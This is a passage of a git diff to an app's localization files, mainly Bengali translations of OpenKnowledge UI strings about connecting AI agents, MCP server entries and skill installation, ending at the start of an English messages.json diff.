"যুক্ত নয়"@@ -8918,6 +9014,10 @@ msgstr "যুক্ত নয়"msgid "Not connected to GitHub."msgstr "GitHub-এর সঙ্গে যুক্ত নয়।"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Not detected on this machine"+msgstr "এই মেশিনে শনাক্ত হয়নি"+#: src/components/FeedbackForm.tsxmsgid "Not great"msgstr "তেমন ভালো নয়"@@ -8928,7 +9028,7 @@ msgstr "সাইডবারে নেই"#: src/components/CommandPalette.tsx#: src/components/handoff/OpenInAgentMenuItem.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not installed"msgstr "ইনস্টল করা নেই"@@ -9061,15 +9161,15 @@ msgstr "<0>{address}</0>-এ নির্বাচিত লেখার উপmsgid "On the root index, okf_version is written as a quoted string like \"0.2\". Unquoted, YAML reads it as a number and 0.10 silently becomes 0.1."msgstr "রুট ইনডেক্সে, okf_version একটি উদ্ধৃত স্ট্রিং হিসাবে লেখা হয় যেমন \"0.2\"। উদ্ধৃতিহীন, YAML এটিকে একটি সংখ্যা হিসাবে পড়ে এবং 0.10 নিঃশব্দে 0.1 হয়ে যায়।"-#. Next step for a Cursor project MCP row — Cursor leaves project servers disabled-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: enable it in Cursor → Settings → Tools & MCP (Cursor leaves project servers off until you turn them on)."-msgstr "আরও একটি ধাপ: এটি Cursor → Settings → Tools & MCP-তে চালু করুন (Cursor আপনি চালু না করা পর্যন্ত প্রকল্পের সার্ভার বন্ধ রাখে)।"+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.enable-manually"+msgstr "আরও একটি ধাপ: এটি {agent} → Settings → Tools & MCP-তে চালু করুন ({agent} আপনি চালু না করা পর্যন্ত প্রকল্পের সার্ভার বন্ধ রাখে)।"-#. Next step for a Claude Code project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: run <0>claude</0> in this project and approve OpenKnowledge once."-msgstr "আরও একটি ধাপ: এই প্রকল্পে <0>claude</0> চালান এবং OpenKnowledge-কে একবার অনুমোদন দিন।"+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.approve-once"+msgstr "আরও একটি ধাপ: এই প্রকল্পে {agent} চালান এবং OpenKnowledge-কে একবার অনুমোদন দিন।"#: src/components/ConsentDialogBody.tsxmsgid "One pattern per line — appended to <0>.okignore</0>."@@ -9160,10 +9260,6 @@ msgstr "আগে একটি প্রকল্প খুলুন।"msgid "Open a project to edit."msgstr "সম্পাদনা করতে একটি প্রকল্প খুলুন।"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Open a project to manage its AI tool connections."-msgstr "কোনো প্রকল্পের AI টুল সংযোগ সামলাতে সেটি খুলুন।"-#: src/components/NavigatorApp.tsxmsgid "Open a single markdown file — no project setup."msgstr "একটি একক markdown ফাইল খুলুন — কোনো প্রকল্প সেটআপ নেই।"@@ -9502,6 +9598,10 @@ msgstr "OpenKnowledge দ্বন্দ্ব পরীক্ষা করেmsgid "OpenKnowledge checked the project"msgstr "OpenKnowledge প্রকল্প পরীক্ষা করেছে"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge could not find this agent on this machine."+msgstr "OpenKnowledge এই মেশিনে এই এজেন্টটি খুঁজে পায়নি।"+#: src/components/TerminalPanel.tsxmsgid "OpenKnowledge couldn't read terminal.shell in .ok/local/config.yml. Using an available Windows shell instead."msgstr "OpenKnowledge .ok/local/config.yml-এ terminal.shell পড়তে পারেনি। পরিবর্তে একটি উপলভ্য Windows শেল ব্যবহার করা হচ্ছে।"@@ -9530,6 +9630,18 @@ msgstr "OpenKnowledge {subject} মুছে ফেলেছে"msgid "OpenKnowledge deleted a document"msgstr "OpenKnowledge একটি নথি মুছে ফেলেছে"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge discovery skill"+msgstr "OpenKnowledge আবিষ্কার স্কিল"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry, and cannot safely replace it in this file's format."+msgstr "OpenKnowledge এই এন্ট্রিটি চিনতে পারছে না, এবং এই ফাইলের ফরম্যাটে এটি নিরাপদে প্রতিস্থাপন করতে পারে না।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry. Turning it on replaces it."+msgstr "OpenKnowledge এই এন্ট্রিটি চিনতে পারছে না। এটি চালু করলে এটি প্রতিস্থাপিত হবে।"+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge edited {subject}"msgstr "OpenKnowledge {subject} সম্পাদনা করেছে"@@ -9574,6 +9686,10 @@ msgstr "OpenKnowledge gh CLI-র দেওয়া একটি GitHub অ্msgid "OpenKnowledge is using this GitHub account."msgstr "OpenKnowledge এই GitHub অ্যাকাউন্টটি ব্যবহার করছে।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge left this file alone because it could not parse it safely. Fix the file by hand, then try again."+msgstr "OpenKnowledge এই ফাইলটি পরিবর্তন করেনি কারণ এটি নিরাপদে পার্স করা যায়নি। ফাইলটি হাতে ঠিক করুন, তারপর আবার চেষ্টা করুন।"+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge listed the installed skills"msgstr "OpenKnowledge ইনস্টল করা স্কিলগুলির তালিকা দেখিয়েছে"@@ -10285,10 +10401,6 @@ msgstr "প্রকল্প"msgid "Project"msgstr "প্রকল্প"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Project AI tool management is only available in the OpenKnowledge desktop app."-msgstr "প্রকল্পের AI টুল সামলানো কেবল OpenKnowledge ডেস্কটপ অ্যাপেই আছে।"-#: src/components/CreateProjectDialog.tsxmsgid "Project details"msgstr "প্রকল্পের বিবরণ"@@ -10297,6 +10409,10 @@ msgstr "প্রকল্পের বিবরণ"msgid "Project folder created, but git init failed. Try again."msgstr "প্রকল্পের ফোল্ডার তৈরি হয়েছে, কিন্তু git init ব্যর্থ হয়েছে। আবার চেষ্টা করুন।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project MCP server"+msgstr "প্রকল্প MCP সার্ভার"+#: src/components/CreateProjectDialog.tsxmsgid "Project name"msgstr "প্রকল্পের নাম"@@ -10310,6 +10426,10 @@ msgstr "প্রকল্প প্লাগইন হলো আপনারmsgid "Project root"msgstr "প্রকল্পের রুট"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project skill"+msgstr "প্রকল্প স্কিল"+#: src/components/settings/ProjectTemplatesSection.tsxmsgid "Project templates"msgstr "প্রকল্পের টেমপ্লেট"@@ -10464,6 +10584,21 @@ msgstr "{pushed} পাঠানো হয়েছে"msgid "Pushing"msgstr "পাঠানো হচ্ছে"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.user"+msgstr "{agent}-এর মেশিনব্যাপী স্কিল ফোল্ডারে OpenKnowledge আবিষ্কার স্কিল রাখে, যাতে এটি যেকোনো প্রকল্পে OpenKnowledge খুঁজে পায়।"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.project"+msgstr "এই প্রকল্পের জন্য {agent}-এর স্কিল ফোল্ডারে OpenKnowledge স্কিল রাখে, যাতে তার সম্পাদনার কৃতিত্ব বজায় থাকে।"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.central-store"+msgstr "{agent} যে কেন্দ্রীয় স্কিল স্টোর পড়ে তাতে OpenKnowledge স্কিল রাখে।"+#: src/components/acp/working-status.tsmsgid "Puzzling…"msgstr "ধাঁধায় পড়েছি…"@@ -10582,6 +10717,10 @@ msgstr "সাম্প্রতিক প্রকল্প"msgid "Recently opened"msgstr "সম্প্রতি খোলা"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Recommended"+msgstr "প্রস্তাবিত"+#: src/components/settings/LintingSection.tsxmsgid "Recommended agent skill"msgstr "প্রস্তাবিত এজেন্ট দক্ষতা"@@ -10717,6 +10856,8 @@ msgstr "রিমোট কন্ট্রোল"msgid "Remote skill source"msgstr "রিমোট স্কিল উৎস"+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/editor/extensions/InternalLinkPropPanel.tsx#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Remove"@@ -10757,6 +10898,10 @@ msgstr "{patternText} সরান"msgid "Remove {projectName} from recent projects"msgstr "{projectName} সাম্প্রতিক প্রকল্প থেকে সরান"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Remove {rowLabel}"+msgstr "{rowLabel} সরান"+#: src/components/ui/tag-pill-input.tsxmsgid "Remove {tag}"msgstr "{tag} সরান"@@ -10769,6 +10914,10 @@ msgstr "সরানো ব্যর্থ: {error}"msgid "Remove field {field}"msgstr "ফিল্ড {field} সরান"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove for both"+msgstr "উভয়ের জন্য সরান"+#: src/components/NavigatorApp.tsx#: src/components/recent-remove-controls.tsxmsgid "Remove from recent projects"@@ -10788,6 +10937,15 @@ msgstr "লিংক সরান"msgid "Remove OpenKnowledge from {0}"msgstr "{0} থেকে OpenKnowledge সরান"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge from {0}?"+msgstr "{0} থেকে OpenKnowledge সরাবেন?"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge?"+msgstr "OpenKnowledge সরাবেন?"+#: src/components/TemplateForm.tsxmsgid "Remove property"msgstr "প্রপার্টি সরান"@@ -10931,7 +11089,7 @@ msgid "Reopening \"{docName}\" with a fresh local collaboration cache."msgstr "\"{docName}\" একটি নতুন স্থানীয় সহযোগিতা ক্যাশসহ আবার খোলা হচ্ছে।"#: src/lib/install-onboarding-toast.ts-msgid "repaired {names} MCP integration"+msgid "repaired MCP integration for {names}"msgstr "{names}-এর MCP ইন্টিগ্রেশন মেরামত করা হয়েছে"#: src/editor/find-replace/FindReplaceBar.tsx@@ -10947,6 +11105,10 @@ msgstr "{keyName} বদলান"msgid "Replace all matches"msgstr "সব মিল বদলান"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replace and save"+msgstr "প্রতিস্থাপন করে সংরক্ষণ করুন"+#: src/editor/find-replace/FindReplaceBar.tsxmsgid "Replace current match"msgstr "বর্তমান মিল বদলান"@@ -10979,6 +11141,10 @@ msgstr "এই অনুলিপিগুলো উৎসের সিমলিmsgid "Replace these symlinks with independent copies?"msgstr "এই সিমলিংকগুলো স্বতন্ত্র অনুলিপি দিয়ে বদলাবেন?"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replaces the existing \"open-knowledge\" entry in this file. Other servers in the file are left alone."+msgstr "এই ফাইলে বিদ্যমান \"open-knowledge\" এন্ট্রিটি প্রতিস্থাপন করে। ফাইলের অন্য সার্ভারগুলি অপরিবর্তিত থাকে।"+#. placeholder {0}: formatToolList( replacing.map((e) => e.label), i18n.locale, )#: src/components/McpConsentDialogBody.tsxmsgid "Replaces the existing OpenKnowledge entry in {0}"@@ -11235,7 +11401,7 @@ msgstr "আনা হচ্ছে…"#: src/components/ConnectingBanner.tsx#: src/components/handoff/useHandoffDispatch.ts#: src/components/PublishToGitHubDialog.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TrashFailureModal.tsxmsgid "Retry"msgstr "আবার চেষ্টা করুন"@@ -11375,6 +11541,7 @@ msgstr "স্যান্ডবক্স করা HTML এমবেড — HTMmsgid "Save"msgstr "সংরক্ষণ করুন"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/editor/components/CodePreviewEditModal.tsxmsgid "Save changes"msgstr "পরিবর্তন সংরক্ষণ করুন"@@ -11425,6 +11592,7 @@ msgstr "আপনার দলের জন্য প্রকল্পেরmsgid "Saves the file to <0>~/Downloads/openknowledge.skill</0> and opens the Claude Desktop App. Requires Node.js or Bun on your PATH."msgstr "ফাইলটি <0>~/Downloads/openknowledge.skill</0>-এ সংরক্ষণ করে এবং Claude Desktop App খোলে। আপনার PATH-এ Node.js বা Bun দরকার।"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SearchSection.tsxmsgid "Saving"msgstr "সংরক্ষণ করা হচ্ছে"@@ -11478,7 +11646,7 @@ msgstr "অর্থের ভিত্তিতে \"{semanticSubmitQuery}\"msgid "Search ({searchShortcutLabel})"msgstr "খুঁজুন ({searchShortcutLabel})"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Search agents"msgstr "এজেন্ট খুঁজুন"@@ -12062,8 +12230,7 @@ msgstr "আরও {0}টি দেখান"msgid "Show {hidden} more"msgstr "আরও {hidden}টি দেখান"-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show {hiddenCount} more"msgstr "আরও {hiddenCount}টি দেখান"@@ -12129,8 +12296,7 @@ msgid "Show in Explorer"msgstr "Explorer-এ দেখান"#: src/components/PackCardGrid.tsx-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show less"msgstr "কম দেখান"@@ -12337,11 +12503,6 @@ msgstr "{0}/{1} থেকে স্কিল।"msgid "Skills from OpenKnowledge"msgstr "OpenKnowledge-এর স্কিল"-#. Points at the settings page that now owns skill install, in Settings → AI tools & CLI-#: src/components/settings/AiToolsSection.tsx-msgid "Skills moved to Skills Studio."-msgstr "স্কিল স্কিল স্টুডিওতে সরানো হয়েছে।"-#: src/components/settings/SkillFolderLinkConfirmDialog.tsxmsgid "Skills reassigned"msgstr "স্কিলগুলো পুনরায় নির্ধারিত হয়েছে"@@ -12497,6 +12658,7 @@ msgstr "আপনার মতামত পাঠানোর সময় কmsgid "Something went wrong starting the terminal."msgstr "টার্মিনাল চালু করার সময় কিছু একটা ভুল হয়েছে।"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/SubscribeForm.tsxmsgid "Something went wrong. Please try again."msgstr "কিছু একটা ভুল হয়েছে। অনুগ্রহ করে আবার চেষ্টা করুন।"@@ -13070,7 +13232,6 @@ msgstr "টেমপ্লেট"msgid "Templates available"msgstr "উপলব্ধ টেমপ্লেট"-#. Group label above the shell-PATH row in Settings → AI tools & CLI#. Section label above the shell-PATH toggle in the first-launch dialog#: src/components/CommandPalette.tsx#: src/components/empty-state/CreatePromptComposer.tsx@@ -13079,8 +13240,7 @@ msgstr "উপলব্ধ টেমপ্লেট"#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/settings/TerminalSection.tsx#: src/components/TerminalNewChatButton.tsx@@ -13208,6 +13368,11 @@ msgstr "{0}-এর ডাউনলোড অনুরোধের সময়msgid "The {0} plugin serves these skills from its cache — OK never edits or updates them."msgstr "{0} প্লাগইন এই স্কিলগুলো তার ক্যাশ থেকে সরবরাহ করে — OK কখনো এগুলো সম্পাদনা বা আপডেট করে না।"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.codex.desktop-project-config"+msgstr "{agent} ডেস্কটপ অ্যাপ এই প্রকল্প কনফিগ উপেক্ষা করে; শুধু {agent} CLI এটি পড়ে।"+#: src/components/SkillForkDialog.tsxmsgid "The {editor} folder holds a different version of this skill. Pick which one wins, or keep both under different names. Whatever you replace is backed up first."msgstr "{editor} ফোল্ডারে এই স্কিলের একটি ভিন্ন সংস্করণ আছে। কোনটি থাকবে তা বাছুন, নয়তো দুটোই আলাদা নামে রাখুন। আপনি যা-ই বদলান, তার আগে ব্যাকআপ নেওয়া হয়।"@@ -13448,6 +13613,14 @@ msgstr "উৎস ফোল্ডারটি নিজে সরে না।"msgid "The template's filename (without `.md`)."msgstr "টেমপ্লেটের ফাইলের নাম (`.md` ছাড়া)।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so connecting either connects both."+msgstr "{label}-এর টার্মিনাল ও ডেস্কটপ সারি একই সেটআপ ভাগ করে, তাই যেকোনো একটি যুক্ত করলে দুটোই যুক্ত হয়।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so removing it disconnects both."+msgstr "{label}-এর টার্মিনাল ও ডেস্কটপ সারি একই সেটআপ ভাগ করে, তাই এটি সরালে দুটোরই সংযোগ বিচ্ছিন্ন হবে।"+#: src/components/TerminalGate.tsxmsgid "The terminal is turned off for this project. Turn it back on to run commands here."msgstr "এই প্রকল্পের জন্য টার্মিনাল বন্ধ। এখানে কমান্ড চালাতে সেটি আবার চালু করুন।"@@ -13604,6 +13777,14 @@ msgstr "এই এজেন্ট স্ল্যাশ কমান্ড দmsgid "This agent doesn't offer slash commands — your message will be sent as plain text"msgstr "এই এজেন্ট স্ল্যাশ কমান্ড দেয় না — আপনার বার্তা সাধারণ টেক্সট হিসেবে পাঠানো হবে"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent gives OpenKnowledge no way to set this up for you. Its setup guide has the manual steps."+msgstr "এই এজেন্ট OpenKnowledge-কে আপনার হয়ে এটি সেট আপ করার কোনো উপায় দেয় না। এর সেটআপ গাইডে ম্যানুয়াল ধাপগুলি রয়েছে।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent has no file of this kind on this machine yet. Open the agent once, then check again."+msgstr "এই মেশিনে এই এজেন্টের এ ধরনের কোনো ফাইল এখনও নেই। এজেন্টটি একবার খুলুন, তারপর আবার দেখুন।"+#: src/editor/composer-mention/ComposerSlashMenu.tsxmsgid "This agent hasn't announced its commands yet"msgstr "এই এজেন্ট এখনও তার কমান্ড ঘোষণা করেনি"@@ -13647,6 +13828,14 @@ msgstr "এই মন্তব্যটি পুরো প্রপার্টmsgid "This conflict is resolved."msgstr "এই দ্বন্দ্বটি সমাধান হয়েছে।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This could not be set up because the MCP server entry it needs was not written."+msgstr "এটি সেট আপ করা যায়নি কারণ এর প্রয়োজনীয় MCP সার্ভার এন্ট্রি লেখা হয়নি।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This deletes the MCP server entries and skill files listed below. The agent will lose access to your documents until you add it again."+msgstr "এটি নিচে তালিকাভুক্ত MCP সার্ভার এন্ট্রি ও স্কিল ফাইল মুছে দেয়। আবার যোগ না করা পর্যন্ত এজেন্ট আপনার নথিতে প্রবেশাধিকার হারাবে।"+#: src/components/PanelScopeHeader.tsxmsgid "This doc"msgstr "এই নথি"@@ -13679,6 +13868,10 @@ msgstr "এই নথিটি মুছে ফেলা হয়েছে"msgid "This endpoint ignored the vector size you configured. Remove <0>search.semantic.dimensions</0> to use the model's own size."msgstr "এই এন্ডপয়েন্ট আপনার কনফিগার করা ভেক্টরের আকার উপেক্ষা করেছে। মডেলের নিজের আকার ব্যবহার করতে <0>search.semantic.dimensions</0> সরিয়ে দিন।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This entry changed after OpenKnowledge wrote it. Turning it on replaces it."+msgstr "OpenKnowledge লেখার পরে এই এন্ট্রিটি পরিবর্তিত হয়েছে। এটি চালু করলে প্রতিস্থাপিত হবে।"+#: src/components/settings/frontmatter-schema-field-editor.tsxmsgid "This field carries additional schema keywords the editor does not show — they are preserved on save."msgstr "এই ফিল্ডে অতিরিক্ত স্কিমা কীওয়ার্ড আছে যা সম্পাদক দেখায় না — সংরক্ষণের সময় সেগুলো রক্ষা করা হয়।"@@ -13731,6 +13924,10 @@ msgstr "এই ফোল্ডারটি {actualOwner}/{actualRepo}-এর কmsgid "This folder is a clone of {expectedOwner}/{expectedRepo} on {actualHost}, not {expectedHost}. Pick a folder cloned from {expectedHost}?"msgstr "এই ফোল্ডারটি {actualHost}-এ থাকা {expectedOwner}/{expectedRepo}-এর ক্লোন, {expectedHost}-এর নয়। {expectedHost} থেকে ক্লোন করা কোনো ফোল্ডার বেছে নেবেন?"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This folder is also {alsoAffects}'s."+msgstr "এই ফোল্ডারটি {alsoAffects}-এরও।"+#: src/components/FolderOverview.tsxmsgid "This folder is empty."msgstr "এই ফোল্ডারটি খালি।"@@ -13789,6 +13986,7 @@ msgstr "এই আইটেমটি"msgid "This looks like a drive root (e.g., C:\\). Scaffolding here will scan an entire drive."msgstr "এটি একটি ড্রাইভের রুট মনে হচ্ছে (যেমন C:\\)। এখানে কাঠামো গড়লে পুরো ড্রাইভ স্ক্যান হবে।"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/ScopeBadge.tsx#: src/components/SkillScopeSegment.tsxmsgid "This machine"@@ -13814,6 +14012,10 @@ msgstr "এটির জন্য আপনার ফাইলগুলি দmsgid "This one teaches your AI tools how to work with OpenKnowledge. It lives in the project folder, so it installs for everyone who opens the project."msgstr "এটি আপনার AI টুলকে OpenKnowledge-এর সঙ্গে কাজ করতে শেখায়। এটি প্রকল্প ফোল্ডারে থাকে, তাই যিনিই প্রকল্প খুলবেন তাঁর জন্য ইনস্টল হয়।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This option cannot be changed automatically."+msgstr "এই বিকল্পটি স্বয়ংক্রিয়ভাবে পরিবর্তন করা যাবে না।"+#: src/components/SeedDialog.tsxmsgid "This pack is already set up here."msgstr "এই প্যাকটি এখানে আগে থেকেই সেট আপ করা আছে।"@@ -13869,6 +14071,7 @@ msgid "This permanently removes {path}. Agents that reference this template by nmsgstr "এটি {path}-কে স্থায়ীভাবে সরিয়ে দেয়। যেসব এজেন্ট এই টেমপ্লেটটি নাম ধরে উল্লেখ করে সেগুলো এটি আবার তৈরি না হওয়া বা কোনো মূল ফোল্ডারের টেমপ্লেট এর জায়গা না নেওয়া পর্যন্ত ব্যর্থ হবে।"#: src/components/PanelScopeHeader.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/SkillScopeSegment.tsxmsgid "This project"@@ -13917,11 +14120,6 @@ msgstr "এই প্রকল্পের চলমান সার্ভারmsgid "This project's server (v{0}) is newer than this app (v{1})."msgstr "এই প্রকল্পের সার্ভার (v{0}) এই অ্যাপের (v{1}) চেয়ে নতুন।"-#. Points at the settings page that now owns the project skill, in Settings → This project → AI tools-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "This project's skill moved to Skills Studio."-msgstr "এই প্রকল্পের স্কিল স্কিল স্টুডিওতে সরানো হয়েছে।"-#: src/uninstall/UninstallPickerScreen.tsxmsgid "This removes OpenKnowledge’s settings and integrations from your Mac and any projects you select below, but keeps your markdown content and authored skills."msgstr "এটি আপনার Mac থেকে এবং নিচে আপনার নির্বাচিত যেকোনো প্রকল্প থেকে OpenKnowledge-এর সেটিং ও সংযুক্তি সরিয়ে দেয়, তবে আপনার markdown বিষয়বস্তু ও লেখা স্কিলগুলো রেখে দেয়।"@@ -13959,6 +14157,18 @@ msgstr "এই সেটিংটি প্রতি-মেশিন ভিতmsgid "This setting is per-machine and isn't shared with collaborators. It needs an API key (set below) unless your endpoint is a local server that doesn't require one."msgstr "এই সেটিংটি প্রতি-মেশিন ভিত্তিক এবং সহযোগীদের সঙ্গে ভাগ করা হয় না। এর জন্য একটি API কী দরকার (নিচে নির্ধারণ করুন), যদি না আপনার এন্ডপয়েন্ট এমন কোনো স্থানীয় সার্ভার হয় যার সেটি লাগে না।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers} through <0>{path}</0>. Removing it here removes it for {peers} too."+msgstr "এই সেটআপ <0>{path}</0>-এর মাধ্যমে {peers}-এর সাথে শেয়ার করা হয়েছে। এখানে এটি সরালে {peers}-এর জন্যও এটি সরে যায়।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}, and OpenKnowledge cannot change it from here. Unlink the folder in Skills Studio first."+msgstr "এই সেটআপটি {peers}-এর সাথে শেয়ার করা, এবং OpenKnowledge এখান থেকে এটি পরিবর্তন করতে পারে না। প্রথমে Skills Studio-তে ফোল্ডারটি আনলিংক করুন।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}. Removing it here removes it for {peers} too."+msgstr "এই সেটআপ {peers}-এর সাথে শেয়ার করা হয়েছে। এখানে এটি সরালে {peers}-এর জন্যও এটি সরে যায়।"+#: src/components/ImportSkillForm.tsxmsgid "This source bundles several skills — choose one, then Import."msgstr "এই উৎসে কয়েকটি স্কিল আছে — একটি বাছুন, তারপর Import করুন।"@@ -14279,7 +14489,6 @@ msgid "Type to find a doc"msgstr "একটি নথি খুঁজতে লিখুন"#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsxmsgid "unavailable on this platform"msgstr "এই প্ল্যাটফর্মে পাওয়া যায় না"@@ -14913,8 +15122,7 @@ msgstr "AI-এর কী করা উচিত? (ঐচ্ছিক)"msgid "What the agent may read, write, and surface."msgstr "এজেন্ট কী পড়তে, লিখতে ও সামনে আনতে পারে।"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "What this checkbox changes"msgstr "এই চেকবক্সটি কী বদলায়"@@ -14990,6 +15198,10 @@ msgstr "আপনি কে, যাতে এজেন্ট আপনার পmsgid "Whole word"msgstr "পূর্ণ শব্দ"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Why this needs attention"+msgstr "কেন এটির প্রতি মনোযোগ প্রয়োজন"+#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Wiki link"msgstr "উইকি লিংক"@@ -15027,6 +15239,10 @@ msgstr "জানালা"msgid "Without a connected AI tool, the pack's {packSkillCount, plural, one {# skill} other {# skills}} won't be installed."msgstr "সংযুক্ত AI টুল ছাড়া প্যাকের {packSkillCount, plural, one {# স্কিল} other {# স্কিল}} ইনস্টল হবে না।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Without the skill the agent still works, but it loses edit attribution and the live preview."+msgstr "স্কিল ছাড়াও এজেন্ট কাজ করে, তবে এটি সম্পাদনার কৃতিত্ব ও সরাসরি প্রাকদর্শন হারায়।"+#: src/components/settings/settings-fields.tsmsgid "Word wrap"msgstr "শব্দ মোড়ানো"@@ -15074,6 +15290,11 @@ msgstr "ওয়ার্কট্রি"msgid "Wrap long lines in the markdown source editor."msgstr "markdown সোর্স সম্পাদকে লম্বা লাইন মুড়ে দিন।"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.managed-file"+msgstr "একটি ছোট ব্রিজ ফাইল লেখে, যা {agent} এই প্রকল্প থেকে লোড করে OpenKnowledge-এ পৌঁছায়।"+#: src/components/McpConsentDialogBody.tsxmsgid "Writes an entry to"msgstr "এখানে একটি এন্ট্রি লেখে"@@ -15082,6 +15303,10 @@ msgstr "এখানে একটি এন্ট্রি লেখে"msgid "writing"msgstr "লেখা"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Writing this file failed. Check the OpenKnowledge log for the reason."+msgstr "এই ফাইলটি লেখা যায়নি। কারণ জানতে OpenKnowledge লগ দেখুন।"+#: src/components/acp/ThreadView.tsxmsgid "Wrote the Open Knowledge extension, but couldn't mark the folder trusted, so it won't load. This thread has no Open Knowledge tools."msgstr "Open Knowledge এক্সটেনশন লেখা হয়েছে, কিন্তু ফোল্ডারটিকে বিশ্বস্ত হিসেবে চিহ্নিত করা যায়নি, তাই সেটি লোড হবে না। এই থ্রেডে Open Knowledge টুল নেই।"@@ -15229,6 +15454,10 @@ msgstr "ব্রাঞ্চ <0>{shareBranch}</0>-এর আপনার অনmsgid "Your current version is saved first, so this is reversible."msgstr "আপনার বর্তমান সংস্করণটি আগে সংরক্ষণ করা হয়, তাই এটি ফেরানো যায়।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Your documents are not touched."+msgstr "আপনার নথিতে কোনো পরিবর্তন করা হবে না।"+#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsxmsgid "Your edits are committed and pushed to your remote automatically."diff --git a/packages/app/src/locales/en/messages.json b/packages/app/src/locales/en/messages.jsonindex 516caa217..167da7003 100644--- a/packages/app/src/locales/en/messages.json+++ b/packages/app/src/locales/en/messages.json@@ -63,7 +63,6 @@"03wKPg": ["A report helps us find the cause. Nothing is sent until you review it."],"04JR6L": ["Connect your AI tools"],"04RA0-": ["Failed to enable sync — ", ["detail"]],- "04XyCH": ["Adds a managed block to ", ["0"]],"05F1GY": ["The original text was deleted. You can re-place this comment on selected text."],"05n5wS": ["Doc mention suggestions"],"06SZfb": ["Template \"", ["trimmedTitle"], "\" created"],@@ -156,6 +155,7 @@"1DahsC": ["Search settings"],"1EcCom": [["keyName"], " value"],"1FLarN": ["Describe what you want to create to continue"],+ "1FXL-O": ["This could not be set up because the MCP server entry it needs was not written."],"1GhYxC": ["of ", ["totalPages"]],"1HBhDS": ["Checking out files"],"1J0c0X": ["Still couldn't reach ", ["displayName"], " — try one more time?"],@@ -233,11 +233,17 @@"2YOwme": ["Restarted — now running v", ["appRuntime"], "."],"2YZwPB": ["Forward-links response did not match expected shape."],"2Yt22K": 